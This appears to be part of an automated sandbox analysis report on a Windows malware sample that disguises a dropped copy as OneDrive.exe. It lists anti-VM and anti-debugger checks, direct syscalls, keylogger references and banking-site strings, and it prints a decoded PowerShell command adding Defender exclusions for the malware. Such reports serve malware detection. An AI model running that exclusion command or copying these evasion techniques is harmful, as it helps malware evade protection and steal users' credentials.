WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: b39wW3jYKO.exe, 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2577826782.00000129591E0000.00000004.00000800.00020000.00000000.sdmp, arndry.exe, 00000009.00000002.2501821797.000000000239D000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 0000000E.00000002.2653178477.0000019A26E51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: arndry.exe, 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, arndry.exe.0.dr	Binary or memory string: SBIEDLL.DLLINFO

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Memory allocated: 14180770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Memory allocated: 1419A0D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Memory allocated: 12958EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Memory allocated: 129710E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Memory allocated: 21E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Memory allocated: 1A390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Memory allocated: 19A26DC0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\OneDrive.exe	Memory allocated: 19A3EE50000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Window / User API: threadDelayed 6976	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Window / User API: threadDelayed 2847	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5663	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4140	Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe TID: 1016	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe TID: 1016	Thread sleep time: -39660499758475511s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe TID: 1924	Thread sleep count: 6976 > 30	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe TID: 1924	Thread sleep count: 2847 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 884	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe TID: 5648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe TID: 6068	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\arndry.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\SYSTEM32\MSVFW32.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\SYSTEM32\en-US\avicap32.dll.mui	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\SYSTEM32\en-US\MSVFW32.dll.mui	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File opened: C:\Windows\system32\wbem\en-US\wmiutils.dll.mui	Jump to behavior

Source: Amcache.hve.12.dr	Binary or memory string: VMware
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.12.dr	Binary or memory string: vmci.sys
Source: arndry.exe.0.dr	Binary or memory string: vmware
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1
Source: OneDrive.exe, 0000000E.00000002.2653178477.0000019A26E51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: OneDrive.exe, 0000000E.00000002.2653178477.0000019A26E51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: Amcache.hve.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr	Binary or memory string: VMware, Inc.
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Amcache.hve.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: b39wW3jYKO.exe, 00000000.00000002.4644423945.000001419AC09000.00000004.00000020.00020000.00000000.sdmp, arndry.exe, 00000009.00000002.2503320475.000000001B185000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: tmpA901.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\arndry.exe

Code function: 9_2_00007FFD34687791 CheckRemoteDebuggerPresent,

9_2_00007FFD34687791

Source: C:\Users\user\AppData\Local\Temp\arndry.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: b39wW3jYKO.exe, SchemaTagBridge.cs	Reference to suspicious API methods: ((Application)P_0).TryFindResource(P_1)
Source: arndry.exe.0.dr, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: arndry.exe.0.dr, XLogger.cs	Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, NativeMethods.cs	Reference to suspicious API methods: OpenProcessToken(hProcess, desiredAccess, out var TokenHandle)
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, ResourceReferenceValue.cs	Reference to suspicious API methods: NativeMethods.LoadLibrary(ResourceFilePath)

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\engineer\Desktop\b39wW3jYKO.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\Desktop\b39wW3jYKO.exe;Add-MpPreference -ExclusionPath C:\Users\engineer\documents\OneDrive.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\documents\OneDrive.exe
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\engineer\Desktop\b39wW3jYKO.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\Desktop\b39wW3jYKO.exe;Add-MpPreference -ExclusionPath C:\Users\engineer\documents\OneDrive.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\documents\OneDrive.exe			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93C9869F	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD34BBCF44	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKey: Direct from: 0x7FFD3497814B	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93C6FD76	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueueApcThread: Direct from: 0x7FFD93C99EE7	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93C6FEA9	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryVolumeInformationFile: Direct from: 0x7FFD93CB46F1	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryVolumeInformationFile: Direct from: 0x7FFD93C3D195	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93D846B8	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93BB626B	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93C4A3DF	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD93CB4667	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtMapViewOfSection: Direct from: 0x7FFD34BBC242	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateThreadEx: Direct from: 0x7FFD93B588D5	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateMutant: Direct from: 0x7FFD3496E34B	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryAttributesFile: Direct from: 0x7FFD93C49F1C	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD34B9F591	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93C4DA3C	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93BBE9FE	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtUnmapViewOfSection: Direct from: 0x7FFD921E3C7D	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD3497D938	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93CB4672	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateThreadEx: Direct from: 0x7FFD912AB1AC	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtUnmapViewOfSection: Direct from: 0x7FFD921E3F5F	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKey: Direct from: 0x7FFD921E3812	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtReadFile: Direct from: 0x7FFD93C76FE3	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateThreadEx: Direct from: 0x7FFD93BE67CB	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD93CFF207	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD93C6FCCE	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKeyEx: Direct from: 0x7FFD921E7FC1	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD34964514	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationFile: Direct from: 0x7FFD93BB72C8	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationFile: Direct from: 0x7FFD921DA731	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateThreadEx: Direct from: 0x7FFD34807A54	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtReadFile: Direct from: 0x7FFD93C45F36	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateMutant: Direct from: 0x7FFD34E76CD0	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtMapViewOfSection: Direct from: 0x7FFD93CB7EE9	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryVolumeInformationFile: Direct from: 0x7FFD9287008B	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93D568FC	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryVolumeInformationFile: Direct from: 0x7FFD921E734C	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetContextThread: Direct from: 0x7FFD93B791D2	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD93C45FD7	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtEnumerateKey: Direct from: 0x7FFD34976D45	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93BC40A3	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD8F761DC5	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x1419B029C85	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD34961E07	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD93C3D1F6	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD34B8716A	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateMutant: Direct from: 0x7FFD940BCAC6	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93C6A028	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD921E4413	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKey: Direct from: 0x7FFD93BBDF8F	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD93C4A418	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryAttributesFile: Direct from: 0x7FFD92870674	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD921E517F	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtNotifyChangeKey: Direct from: 0x7FFD3495B256	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93BAFF6B	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKeyEx: Direct from: 0x7FFD93CC3619	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93C9797B	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetValueKey: Direct from: 0x7FFD9287296F	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD3497F3E5	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD921E3695	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtReadFile: Direct from: 0x7FFD921DC9C8	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKeyEx: Direct from: 0x7FFD3480A044	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93C4A427	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateKey: Direct from: 0x7FFD921E126E	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtDeviceIoControlFile: Direct from: 0x7FFD3497C3FF	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93CC36AE	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93CB462E	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKey: Direct from: 0x7FFD34809C9D	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93C6FC6C	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93BAFF46	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKey: Direct from: 0x7FFD93BC47E4	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD93BB62A4	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtClose: Direct from: 0x7FFD34805901
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenFile: Direct from: 0x7FFD921DE322	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93C6A005	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD921E5768	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryAttributesFile: Direct from: 0x7FFD93C2BC4A	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenFile: Direct from: 0x7FFD93C332D3	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtClose: Direct from: 0x7FFD921E713F
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKey: Direct from: 0x7FFD93C54E3C	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateThreadEx: Direct from: 0x7FFDB43E26A1	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryVolumeInformationFile: Direct from: 0x7FFD93CB46D9	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtMapViewOfSection: Direct from: 0x7FFD93C4A7F5	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtMapViewOfSection: Direct from: 0x7FFD3496969A	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateThreadEx: Direct from: 0x7FFD93BE8EE0	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93BAFF57	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93C4DAA0	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetInformationProcess: Direct from: 0x7FFD93BB62B3	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtSetValueKey: Direct from: 0x7FFD3480A41F	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtOpenKeyEx: Direct from: 0x7FFD93C287B7	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtMapViewOfSection: Direct from: 0x7FFD921E3EA1	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryVolumeInformationFile: Direct from: 0x7FFD9286F239	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD93CC040B	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateMutant: Direct from: 0x7FFD921DD2E8	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtMapViewOfSection: Direct from: 0x7FFD3495B460	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtCreateFile: Direct from: 0x7FFD93C783DC	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD921E4D36	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	NtQueryValueKey: Direct from: 0x7FFD921E55C5	Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc 